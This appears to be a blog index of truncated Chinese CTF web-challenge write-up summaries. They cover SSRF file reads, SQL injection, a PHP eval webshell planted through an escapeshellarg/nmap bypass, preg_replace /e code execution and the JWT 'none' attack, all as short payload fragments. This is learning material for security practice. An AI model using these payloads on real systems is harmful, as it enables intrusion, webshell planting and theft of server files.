摘要： 题目给的是GET参数名为url,应该就是SSRF的题目 输入?url=/etc/passwd 回显成功, 证实了是SSRF 接着, 查看进程变量 ?url=/proc/self/environ MAIL=/var/mail/app USER=app HOME=/home/app LOGNAME=ap 阅读全文

摘要： ```php function check($input) { if (preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i", $input)) { // if(preg_match("/'| |_|=|php/",$input)){ die('hacker! 阅读全文

摘要： preg_match_all()函数 . 真实的执行逻辑：指针移动 preg_match_all 不会修改你的原字符串 $content。它的逻辑是这样的： 初始状态：指针指向字符串的开头（位置 0）。 寻找匹配：从指针位置开始往后找，直到发现符合正则的内容。 捕获内容：一旦匹配成功（比如抓到了 e 阅读全文

摘要： 无列名查询 (select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x) =>解析 union查询的特点: 1. 要求两 阅读全文

摘要： 强烈推荐: 讲的非常直白 我的笔记: payload: highlight_file(next(array_reverse(scandir(current(localeconv()))))) <?php //var_dump( highlight_file(next(array_reverse(sc 阅读全文

摘要： //escapeshellarg()函数的处理流程, 为单引号转义,并且使用单引号包围;而且会为目标前后添加一对单引号 //' <?php eval($_GET[pass]); -oG shell.php ' 原始payload //''\'' <?php eval($_GET[pass]); -o 阅读全文

摘要： //next.php <?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")' 阅读全文

摘要： 看答案做了一下笔记 select * from account where username='' and password='' 单引号被禁用 username= password=; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3 阅读全文

摘要： JWT的格式: JWTnone攻击的具体操作: "alg":"none" JWT的格式要求: base64URL风格: 要求末尾的=填充字符要删除 把+替换为- 把/替换为_ 阅读全文

摘要： 这道题目考的是弱比较和PHP的异常处理 其中前者的值是完全可控的, 但是第二个值不是: 会发现我们不知道变量$secret_salt的值, 所以解法就是不进入IF分支语句 当$channelKey的值长度大于64的时候, 进入ELSE分支语句, 经过层层throw, catch, 最后$channe 阅读全文